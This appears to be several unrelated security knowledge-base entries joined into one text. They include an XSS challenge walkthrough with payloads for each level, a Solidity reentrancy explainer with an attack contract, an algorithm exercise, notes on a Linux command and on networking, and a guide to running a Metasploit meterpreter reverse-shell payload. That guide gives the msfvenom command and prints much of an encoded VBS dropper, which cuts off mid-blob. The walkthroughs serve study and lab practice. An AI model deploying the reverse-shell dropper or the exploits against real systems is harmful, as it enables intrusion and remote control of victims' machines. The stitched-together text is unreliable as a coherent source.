# XSS挑战-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **知识点** - 无过滤 XSS (level 1) - 各种难度的构造闭合 XSS (level 2、3、4、5、6) - 各种难度的绕过过滤 XSS (level 2、3、4、5、6) - 双写拼接 XSS (level 7) - 实体编码+HTML 编码 XSS (level 8、9) - input 中的 XSS (level 10) - HTTP headers 头中的 XSS (level 11、12、13) - exif XSS (level 14) - angularjs XSS (level 15) - URL 编码 XSS (level 16) - embed 标签的 XSS (level 17、18) - Flash XSS (level 19、20) --- ## level 1 没什么过滤,直接使用 `<script>alert(123)</script>` 即可 payload: `http://<靶机IP>/level1.php?keyword=test<script>alert(123)</script>` --- ## level 2 使用 `">` 构造输入框的闭合 payload: `test"><script>alert(123)</script>` --- ## level 3 使用 `'` 可以闭合 构造 input 的 XSS,例如: `<input value=xss onfocus=alert(1) autofocus>` payload: `test'onmouseover='alert(1)'` payload: `test'onfocus='alert(1)' autofocus '` --- ## level 4 ```php $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); ``` 发现过滤了 `<`、`>`,使用 `"` 可以闭合 测试一下 `test"123` 构造 input 的 XSS,例如: `<input value=xss onfocus=alert(1) autofocus>` payload: `test"onfocus=alert(1) autofocus "` --- ## level 5 ```php $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); ``` 这一关主要过滤了 `<script` 和 `on` 使用 `">` 闭合,然后使用一个不被过滤的payload `<a href=javascript:alert(19)>M` payload: `"><a href=javascript:alert(19)>M` --- ## level 6 ```php $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); ``` 和上一关一样,过滤的变多了,`href`,`data`,`src` 也被过滤,但是并没有将其大小写检测 一样,使用 `">` 闭合,然后使用一个不被过滤的payload `<ScRiPt>alert(123)</ScRiPt>` payload: `"><ScRiPt>alert(123)</ScRiPt>` --- ## level 7 ```php $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); ``` 这一关,只要检测到 `on`,`href`,`src`,`script` 等关键字,会直接过滤成空 闭合,然后双写,让他正好构造出 script payload: `"><scrscriptipt>alert("1")</scrscriptipt>` --- ## level 8 ```php $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); ``` ```php <?php echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?> ``` 这一关目的将 payload 写入 `<a>` 的 herf 中 尝试构造 payload `<a href=javascript:alert(1)>`,其中 script 会被转成 scr_ipt 这里可以将 r 实体编号为 `&#114;`,然后触发 HTML 解码,将 `sc&#114;ipt` 解码为 `script` payload: `javasc&#114;ipt:alert(1)` --- ## level 9 ```php $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); ``` ```php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ``` 过滤和上一关一样,但判断是否有 `http://` 测试 `javascript:alert("http://")`,将其实体编码,构造 `javasc&#114;ipt:alert(&#34;http://&#34;)` --- ## level 10 ```php $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); ``` ```php echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ``` 页面中存在3个隐藏的 input 输入框,其中 t_sort 是传参的,直接在前端修改代码让他显示出来,输入 payload,构造一个 input 的 xss: `<input value=xss onfocus=alert(1) autofocus>` payload: `test"onfocus=alert(1) autofocus type="text"` --- ## level 11 ```php $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); ``` ```php echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ``` 这里的 t_ref 的 value 是我们访问这个网页的 referer 值,直接抓包修改 referer payload: `referer:test"onfocus=alert(1) autofocus type="text"` --- ## level 12 ```php $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); ``` ```php echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ``` 与上一题一样,这一题是判断 HTTP_USER_AGENT,直接抓包修改 HTTP_USER_AGENT payload: `HTTP_USER_AGENT:test"onfocus=alert(1) autofocus type="text"` --- ## level 13 ```php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); ``` ```php echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ``` 这一题是 cookie 中的参数 user 传入导致 XSS,抓包修改 cookie payload: `user=test"onfocus=alert(1) autofocus type="text"` --- ## level 14 这一关的大体思路是在网页中嵌入了 http://www.exifviewer.org/ 这个网站,而这个第三方网站的作用是用于查看图片的 EXIF 信息,所以思路就是通过修改图片的 exif 信息,造成解析图片 exif 造成 XSS 我做的时候这个网站貌似无法访问了,所以这里找了另外一个网站 https://exifshot.com/app/ 工具使用 [exiftool](https://exiftool.org/) payload: `exiftool(-k).exe -artist="<details open OntogGle="alert(1)">" 1.jpg` --- ## level 15 这关使用 angularjs 的 ng-include **AngularJS ng-include 指令** ng-include 指令用于包含外部的 HTML 文件.包含的内容将作为指定元素的子节点. ng-include 属性的值可以是一个表达式,返回一个文件名.默认情况下,包含的文件需要包含在同一个域名下. 可以认为是文件包含 直接在包含的页面里用 &lt;script&gt; 触发不了,用了 img 标签. 遵循 SOP,调用第一关代码.使用单引号包裹,否则变成注释. payload: `?src='level1.php?name=test<img src=1 onerror=alert(1)>'` --- ## level 16 ```php <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","&nbsp;",$str); $str3=str_replace(" ","&nbsp;",$str2); $str4=str_replace("/","&nbsp;",$str3); $str5=str_replace(" ","&nbsp;",$str4); echo "<center>".$str5."</center>"; ?> ``` 这一关过滤了空格,/ 等连接符,用 URL 编码绕过过滤 payload: `%3Cimg%0dsrc=1%0donerror=alert(2)%3E` --- ## level 17 ```php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ``` 这一关将 arg01 和 arg02 的参数分别写入 src 的值中,并过滤了尖括号,导致不能闭合标签. 在 embed 标签中尝试在 arg02 写入事件来触发 XSS. payload: `arg01=a&arg02=%20onmousedown=alert(1)` 如果一直无法触发,可能是因为无法加载 swf 文件,建议可以换360浏览器做这一题 --- ## level 18 ```php <?php ini_set("display_errors", 0); echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?> ``` 这一题我看代码好像没啥区别? 使用了上一关的 payload 正常弹出 `arg01=a&arg02=%20onmousedown=alert(1)` .......是我姿势不对吗? 网上有人构造 arg01 造成的弹出,相应的 payload: `arg01=a%20onmousedown=alert(2)&arg02=b`,我试了一下我这也能弹🤔 ``` arg01=a&arg02=b onmouseout=alert(1) arg01=a&arg02=b onmouseout=alert`1` arg01=a&arg02=b onmouseover=alert`1` ``` --- ## level 19~20 以下2关都属于 Flash XSS,对于这个不了解,略
sec-knowleage
### Re-Entrancy概述 重入攻击是智能合约中的经典攻击。以太坊 The DAO 项目遭受的重入攻击直接导致了以太坊(ETH)和以太坊经典(ETC)的硬分叉。 ### Re-Entrancy原理 假设有一个银行合约实现了以下取款功能,在 `balanceOf[msg.sender]` 充足时,合约会转账相应数量的以太币给调用者,并且将 `balanceOf` 减去相应值: ```solidity contract Bank { mapping(address => uint256) public balanceOf; ... function withdraw(uint256 amount) public { require(balanceOf[msg.sender] >= amount); msg.sender.call.value(amount)(); balanceOf[msg.sender] -= amount; } } ``` 这个实现的问题在于,“先给钱后记账”。在以太坊中,合约的调用者可以是另一个智能合约,转账时收款合约的 fallback 函数会被调用。若 fallback 函数内再一次调用了对方的 withdraw 函数,由于此时 `balanceOf` 尚未减少,require 的条件仍然满足,导致可以再次取款。需要注意的是,fallback 函数需要限制重入的次数,否则会因为无限地循环调用,导致 gas 不足。假设攻击合约的存款有 1 ether,可以如下实现取出 2 ether: ```solidity contract Hacker { bool status = false; Bank b; constructor(address addr) public { b = Bank(addr); } function hack() public { b.withdraw(1 ether); } function() public payable { if (!status) { status = true; b.withdraw(1 ether); } } } ``` 此外有几个注意点: - 目标合约使用 call 发送以太币时,默认提供所有剩余 gas;call 操作改为对提款者合约的调用亦可实现攻击;但如果使用 transfer 或者 send 来发送以太币,只有 2300 gas 供攻击合约使用,是不足以完成重入攻击的。 - 执行重入攻击前,需要确认目标合约有足够的以太币来向我们多次转账。如果目标合约没有 payable 的 fallback 函数,则需要新建一个合约,通过 `selfdestruct` 自毁强制转账。 - 上述 fallback 实现中,先改写 `status` 后重入。如果反过来则还是会无限循环调用,这和重入漏洞的道理是一致的。 重入漏洞与整数下溢出漏洞关联密切。在上述攻击后,攻击合约的存款由 1 ether 变为 -1 ether。但注意到存款由 uint256 保存,负数实际上保存为一个极大的正数,后续攻击合约可以继续使用这个大数额的存款。
sec-knowleage
# 56. 数组中只出现一次的数字 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/389fc1c3d3be4479a154f63f495abff8?tpId=13&tqId=11193&tab=answerKey&from=cyc_github) ## 题目描述 一个整型数组里除了两个数字之外,其他的数字都出现了两次,找出这两个数。 ## 解题思路 两个相等的元素异或的结果为 0,而 0 与任意数 x 异或的结果都为 x。 对本题给的数组的所有元素执行异或操作,得到的是两个不存在重复的元素异或的结果。例如对于数组 [x,x,y,y,z,k],x^x^y^y^z^k = 0^y^y^z^k = y^y^z^k = 0^z^k = z^k。 两个不相等的元素在位级表示上一定会有所不同,因此这两个元素异或得到的结果 diff 一定不为 0。位运算 diff & -diff 能得到 diff 位级表示中最右侧为 1 的位,令 diff = diff & -diff。将 diff 作为区分两个元素的依据,一定有一个元素对 diff 进行异或的结果为 0,另一个结果非 0。设不相等的两个元素分别为 z 和 k,遍历数组所有元素,判断元素与 diff 的异或结果是否为 0,如果是的话将元素与 z 进行异或并赋值给 z,否则与 k 进行异或并赋值给 k。数组中相等的元素一定会同时与 z 或者与 k 进行异或操作,而不是一个与 z 进行异或,一个与 k 进行异或。而且这些相等的元素异或的结果为 0,因此最后 z 和 k 只是不相等的两个元素与 0 异或的结果,也就是不相等两个元素本身。 下面的解法中,num1 和 num2 数组的第一个元素是用来保持返回值的... 实际开发中不推荐这种返回值的方式。 ```java public int[] FindNumsAppearOnce (int[] nums) { int[] res = new int[2]; int diff = 0; for (int num : nums) diff ^= num; diff &= -diff; for (int num : nums) { if ((num & diff) == 0) res[0] ^= num; else res[1] ^= num; } if (res[0] > res[1]) { swap(res); } return res; } private void swap(int[] nums) { int t = nums[0]; nums[0] = nums[1]; nums[1] = t; } ```
sec-knowleage
tload === 显示系统负载状况 ## 补充说明 **tload命令** 以图形化的方式输出当前系统的平均负载到指定的终端。假设不给予终端机编号,则会在执行tload指令的终端机显示负载情形。 ### 语法 ```shell tload(选项)(参数) ``` ### 选项 ```shell -s:指定闲时的刻度; -d:指定间隔的时间(秒)。 ``` ### 参数 终端:指定显示信息的终端设备文件。 ### 实例 使用tload命令查看系统负载情况: ```shell tload -d 1 0.08, 0.02,0.01 0.04, 0.01, 0.00 0.04, 0.01, 0.00 0.04, 0.01,0.00 0.06, 0.02, 0.00 ```
sec-knowleage
# Speed-Net > 注 : 笔记中拓扑图 drawio 与 xmind 源文件在其图片目录下 --- ## 各种帧、报文格式 <p align="center"><b>IP 报文</b></p> <p align="center"> <img src="../../../assets/img/Integrated/Network/Speed-Net/1.png"> </p> <p align="center"><b>UDP 报文格式</b></p> <p align="center"> <img src="../../../assets/img/Integrated/Network/Speed-Net/2.png"> </p> <p align="center"><b>TCP 报文格式</b></p> <p align="center"> <img src="../../../assets/img/Integrated/Network/Speed-Net/3.png"> </p> <p align="center"><b>MAC 帧格式</b></p> <p align="center"> <img src="../../../assets/img/Integrated/Network/Speed-Net/4.png"> </p> <p align="center"><b>PPP 帧格式</b></p> <p align="center"> <img src="../../../assets/img/Integrated/Network/Speed-Net/5.png"> </p> <p align="center"><b>帧中继的帧格式</b></p> <p align="center"> <img src="../../../assets/img/Integrated/Network/Speed-Net/6.png"> </p> <p align="center"><b>ARP 协议的格式</b></p> <p align="center"> <img src="../../../assets/img/Integrated/Network/Speed-Net/7.png"> </p> --- ## IP、MAC、掩码 ### MAC ``` 1B = 8位(bits) | I/G | G/L | 字节 | 由厂商分配 | 长 48 位(6B)采用 16 进制 | 24位OUI | 24位 | ``` --- ### ipv4 - 长 32 位,有 43 亿 - A 类:0~127 - B 类:128~191 - C 类:192~223 - D 类:224~239 用于组播地址 - E 类:240~255 用于科学用途 **私有 IP** - A 类:10.0.0.0~10.255.255.255 - B 类:172.16.0.0~172.31.255.255 - C 类:192.168.0.0~192.168.255.255 **保留地址** - A 类:127.0.0.0~127.255.255.255 私有地址,用做循环测试 - B 类:169.254.0.0~169.254.255.255 在 windows 上如果 IP 地址是 DHCP 方式获取,而在网络上又没有找到可用的 DHCP 服务器,这时将会从 169.254.0.1 到 169.254.255.254 中临时获得一个 IP 地址. - D 类:224.0.0.0~244.0.0.255 只能用于局域网中,是协议保留地址,路由器不会转发 ``` 224.0.0.1-在本地子网的所有系统 224.0.0.2-在本地子网的所有路由器 224.0.0.5-OSPF 路由器 224.0.0.6-OSPF 指定路由器 224.0.0.9-RIPv2 路由器 224.0.0.10-IGRP 路由器 224.0.0.13-PIMv2 路由器 224.0.0.22-IGMPv3 ``` 127.0.0.1 环回地址,代表电脑本地. --- ### ipv6 IPv6 是互联网协议的最新版本,用于数据包交换互联网络的网络层协议,旨在解决 IPv4 地址枯竭问题. - 128 位,3.4 X 1038 个地址 - ipv6 不使用广播,它使用组播、单播、任意播 - IPv6 二进位制下为 128 位长度,以 16 位为一组,每组以冒号 ":" 隔开,可以分为 8 组,每组以 4 位十六进制方式表示. - IPv6 在某些条件下可以省略, - 规则 1:每项数字前导的 0 可以省略,省略后前导数字仍是 0 则继续. - 规则 2:可以用双冒号 "::" 表示一组 0 或多组连续的 0,但只能出现一次. **特殊地址** - 0:0:0:0:0:0:0:0 ——通常在使用有状态 DHCP 配置时用作主机的源地址 - 0:0:0:0:0:0:0:1 ——相当于 IPv4 地址 127.0.0.1 - 2000::/3 全局单播 - FC00::/3 唯一的本地单播地址范围 - FE80::/10 链路本地单播地址范围 - FF00 ::/8 组播地址范围 - 2002 ::/16 供 6to4 隧道使用 --- ### 子网掩码 - A 类 /8~/15 - B 类 /8~/23 - C 类 /8~/30 ``` 255.0.0.0 /8 255.128.0.0 /9 255.192.0.0 /10 255.224.0.0 /11 255.240.0.0 /12 255.248.0.0 /13 255.252.0.0 /14 255.254.0.0 /15 255.255.0.0 /16 255.255.128.0 /17 255.255.192.0 /18 255.255.224.0 /19 255.255.240.0 /20 255.255.248.0 /21 255.255.252.0 /22 255.255.254.0 /23 255.255.255.0 /24 255.255.255.128 /25 255.255.255.192 /26 255.255.255.224 /27 255.255.255.240 /28 255.255.255.248 /29 255.255.255.252 /30 ``` --- ### 主机位 ``` 2 1=2 2 2=4 2 3=8 2 4=16 2 5=32 2 6=64 2 7=128 2 8=256 2 9=512 2 10=1024 2 11=2048 2 12=4096 2 13=8192 2 14=16384 2 15=32768 2 16=65536 2 17=131072 2 18=262144 2 19=524288 2 20=1048576 2 21=2097152 2 22=4194304 2 23=8388608 2 24=16777216 ``` --- ### 通配符掩码 又称反掩码 例如:块为 7,掩码为 8 ``` 172.16.16.0 —— 0.0.03.255 范围 172.16.16.0~172.16.19.255 172.16.16.0 —— 0.0.7.255 范围 172.16.16.0~172.16.23.255 172.16.64.0 —— 0.0.63.255 范围 172.16.64.0~172.16.127.255 ``` 起始位置必须为 0 或块大小的整数倍,例如块大小为 8,起始位置不能是 12,范围必须是 0~7、8~15、16~23 命令 any 与0.0.0.0 —— 255.255.255.255 等价
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- ## Execute metasploit vbs payload in cmd shell If you are a pentester/researcher, you may want to gain a meterpreter session from a cmd shell at sometimes, ex: (sqlmap --os-shell, or other tools). Ex: ``` $ ncat -l -p 4444 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\test\Desktop>ver ver Microsoft Windows XP [Version 5.1.2600] C:\Documents and Settings\test\Desktop> ``` In the previous, you want try the following methods: - a. translate exe into a batch script. - b. download the payload file from remote server (ftp, tftp, http, ....) - c. .... Now, I'll show you how to run metasploit payload in cmd.exe. Please try to think about the following questions: 1. How to generate a payload with msfvenom ? 2. How to run payload in a simple/compatible way ? ---- ## How to generate a payload with msfvenom ? In order to test the payload on Windows XP/2003, we choose the vbs format . If you need help, please try [msfvenom -h] ``` $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f vbs --arch x86 --platform win No encoder or badchars specified, outputting raw payload Payload size: 333 bytes Final size of vbs file: 7370 bytes Function oSpLpsWeU(XwXDDtdR) urGQiYVn = "" & _ XwXDDtdR & "" Set gFMdOBBiLZ = CreateObject("MSXML2.DOMDocument.3.0") gFMdOBBiLZ.LoadXML(urGQiYVn) oSpLpsWeU = gFMdOBBiLZ.selectsinglenode("B64DECODE").nodeTypedValue set gFMdOBBiLZ = nothing End Function Function skbfzWOqR() cTENSbYbnWY = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAMC7z0MAAAAAAAAAAOAADwMLAQI4AAIAAAAOAAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAABAAAAAAgAARjoAAAIAAAAAACAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAAwAABkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAKAAAAAAQAAAAAgAAAAIAAAAAAAAAAAAAAAAAACAAMGAuZGF0YQAAAJAKAAAAIAAAAAwAAAAEAAAAAAAAAAAAAAAAAAAgADDgLmlkYXRhAABkAAAAADAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAwwAAAAAAAAAAAAAAAAAAAAAC4ACBAAP/gkP8lODBAAJCQAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL4mar2h28rZdCT0WCvJZrkEAoPABDFwEQNwN4hIkPcku8O3tN8cB9GWw5vxKwNjAkyNhjNM6cNkfHmBiPcvMRp1+DarMN55LGgiGK5zd/qPu4r7yKZnqYGt2l2l+ObW9e1uC00PXprFVkAdCePJBU7OgL6kpBIW9UW4Vzm0wJD+J7fo/NrAL34BRKvYwv4X2AeY3Nbs7rr68yOxB3/CFY474bHKmIjgtk+08hgvEHm0JCkg0YkA2iGGE6kTCYglGMIWsl/57yyeAhBlZVZAHUzXC91xAqHY5W2e45EF3eNIimgFOmI7mfvS+0mUOPS2hELe3y+tt4jHVJJCeZgIL7kSudB008jCYYIyGnIvM3B2+WTsdNxDs4cL0LN4yuHIT1hOpq+MTjbmxk5eXrMce6FuMdA0kWCFn/mO8OilcddqoY6qTgrnVM+q9z7P+p+14PVvNite+L26LJnClvEHwxUqUUrZzV6t5htn2C+Y3NIFvXV4ZpGGqbv7HG05jCIpScWP6HBsBI1m1DHKeUApmoaHniPhK567aSxQBvdXdj/VCmmlqH7qUse0qsgN4SbAqdFKKX1x/BMWxDtkCx9HwByE/vqnoA3oKb32ZIVxPkTTFhj4cmFzaQA2QnyeCNo3X7g6xzESDSzlubDfHZh7CjLqjwM02fCnovpiWDPgsmQEtiZ7EEGHaHcUsQBD1yFZncP/l9yLovEn2JUyl2KbsfmptS2hGLlDD24/lfipzZdteiw5wYXz3Wvlgj/cCzRutxVuYZqEcz2qzO6R3nY940muMaDu8m2P5a2uUeaKltsrD4al5lQTfG9HgfwGVDCnlctWjzLRRgkEGXFjwuY9ddv45YdW08RYHLxJxGVitSWy+1Do5FhXO4VxZKZ4JYDCr9eTtSYH4CLZ8xiab/rg+7f6e/uAOJFU5YHi5twAiIyexBzE2svEr9L3QrnmjqOOmm/h8hXyybwjaHvNS/ZHaqrkMGM6iQwd02KHvIXSa0QAcd82HbWfw9MTcnPLFptWs+6pAOe13gFpkZucNd8Apoo7/lchFj9a+bk2ricvuegsNw1hJwL4muRicQxPHobCfGPxY1ZkHU6H2kNyoGBofvYWEyqaFZh/EudHtTA8vZdecEHwTpU4kEUp7bSK8v5cFR3z4kIkVBTE3Z40Sx11O3ZzrzkRk2gpI65bH+PxT7I6YTjESQTu3GTNG1qcLSU0SmgbZSmmOO/6iLi/Ga5/ZRf0p8eI1PhxMT8o9RFk9l/C+tlRIlshkHMtS3CyVhgSksDjQjNBhhsZU+Erif+t31HwEcX6gPe9/c/ohJgHc0tf6FUaatH9BPkgliOr+dQMcXMWF1KkumkAQ9mV18ThM411CzeW21cOSnceJgzkg4jLtmm3pAaRoFyVPcGhpL/ULQMS17raUwZ7/HmEkIHeOvSDAWVkA6KDLMYVjm8NrBs+cUDG0lsM2E7C/sYMUGycHq3k5xv6TBLtFx5nYKhCLMwPLwtfyKh8+UiAQPyC3F5WERA1/B8JyEG1LylpL2KWULh9v497YhVfAfhWhzaTZKqm/KcTmSnnWRsm9hbojvMKs2IZmHeJZWPfP+8zL1b5pV9YSy5Fnhy44Rt/pDYQ0bPPBvTpmuJhzVZvmG5+mrmlPhJznnkZT/UImLccgn1idDlT0bsL2TsSCsJpOWH6mYgeJpwg1nDicGc7BZIMrY19xyllNjqwb7B9DqUhIxsSefo6CAFYun9nNT3/7Z8htr/Op4yWMSGBXTHsnLpyFcUwDpQH6boK7zRyL42DhmPDrk1ksjdzjP3w5Z37rABqj3DpaenFv4lm7NNRvT+BLXD3uGDECLz8NF2/bwrFKaaJs3X0AoDnS/aiwuYaKhChKF69hlABR/tDQseJpKvTa8OehNBAxhx+geGgyo3RuAYBrSeWnpi8putJe1+r7UJqdBrhIwdYJ+AxDw5IGCTqhBn7NvldkDC9en7wNcLQ6YRgbpRNlp8CF5mWPVEtQe71RiHIRPaa6HlxUryq7RU+za3WU/4g6K3VR3mt5xGHyRADWbjwS8XsFpPmJ+h16hg94pY/X8HjyERsEq2NomWJV+EVsNr8DLN48826YrwL8l6IIDjHTSFMjbC0s5M+NeumVSKgAR9QQbK7z1IDNTWAdLHTeb1ZZXB7B70mRRjUSedAzLz8b8tInLcWvqKeY37H+SMDcR4yXNXERNdWL395aNntI/6TUVB9vu7uhHFk59KmJjdfPxGzDieF0ruqg+8TCjTpyz4NcBDSU/Br+vk/Mk3yIshazIRa70i/4ZwMwuhbtI9paonvFrStqe3kS1olc4ENiL2NLMO1veSCKRDlnQe7mLc2jx5kHT/g5WN4SYklar50E5eVAgWhuGKQnWwBRak/Q0eBGqAfluSh8X0tbm78dUo7ByJTioIvrUd3ps3Eiiq/EOiRKzHf/hj9S5rt7HYDITrNFh/cuf44aGHgj2ijdjYbeBUGMIYhYwd1nF+mu759UyW8QWBhD5nRhgyY4Va749PJxCpYj6y2j/RkQXypD5e8h2AwArNDKvRLZFCHZ3qoExkeI1qJkLl7eJA98YpyS+wzrLKGXBHj8915rfFEN1iXKiNdQzHE6INLM6RfTq3Jpm5FbUs+tdsxRjdZLgfpJ7tDp5bjEkdiRaQrWJDSjxQAj7bVVqbPzJGyglIyhn5nLg1PFbbFdtRlZHh4IXcuNDWDV7sMJHJnLQZ37shtyXRm/FsUVtoY7BrhYn5BQMk1fLbbQxNxJsWsL0id6/jh7fGLTgTLPs9ffd4YYNWpIVmrG6f5h4QE0lKornabrhRKyADL3mDcn6QTqrwKXWBy9nyrRv8nn9gCz8pjhk2+hLT42B8i/BvJTsR699TTdFgXAC/odWAbRMr6Ft0r2/6FSbIqdGb6dzWhiwhV0mJyPksMu092+J061/YzfGVBM1KKbnxHK92ehYbHiRCLgCkBgD2fLM57xtR9oeEjrqSOtJFdSfgHwUXIdaoVndJH4t3+O0Om4G8+hX8BuDjvuuaQEaWo5fVyQMPrwh/AdosHQF6eui8+jImO7xiNQs4fTWZ0ZtONNlZOxbtg0rs2ADI2ydOkgjuCVECmYoQd5aZLiG3Nvg5Pgj7PFocGRmJ6EqAVFVlrnPPMJvp6JHHTaXHu+v53Z7VppmB9+gSeLndXx6Dg1g6yAtPxwNQVbmgSiFLu1T5VPH7qIQGXnmO5XcmLffu2lU9jOOtgWqdddpQ1ZqrI3gzw0JnSnxVHtc2kIfXA4wqvL/6eicZSdhd9cKwSqHWh5hp/mDFUIZy2xh1xLcnv7HaPHk2/kz3lXGrEMBaCiHzp+i1NmGO+fBocp4YIGBqPwDt0PHMN/mepYrwb8pXABuZQ3c7JgIUVbEVOdM/xqOUJ894fZEzRNMdXma+4Ihv+em5KLZb0s8s8CxOlcV7MB2AD6GZip0aW0uEaGo/EwMs8juNPo1r/8EMTYLHGxvxiXXLPacsj9a6paWd4U9JqPFGrvr3vPpIAvXvJUMBKCKXVQZhiTsqsf+ww/7bWOhsACbqviXMT9yUOZPqE2lCef7ItMzWM60Ibl+Ft9MrrrbDEvOrjko/3iwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA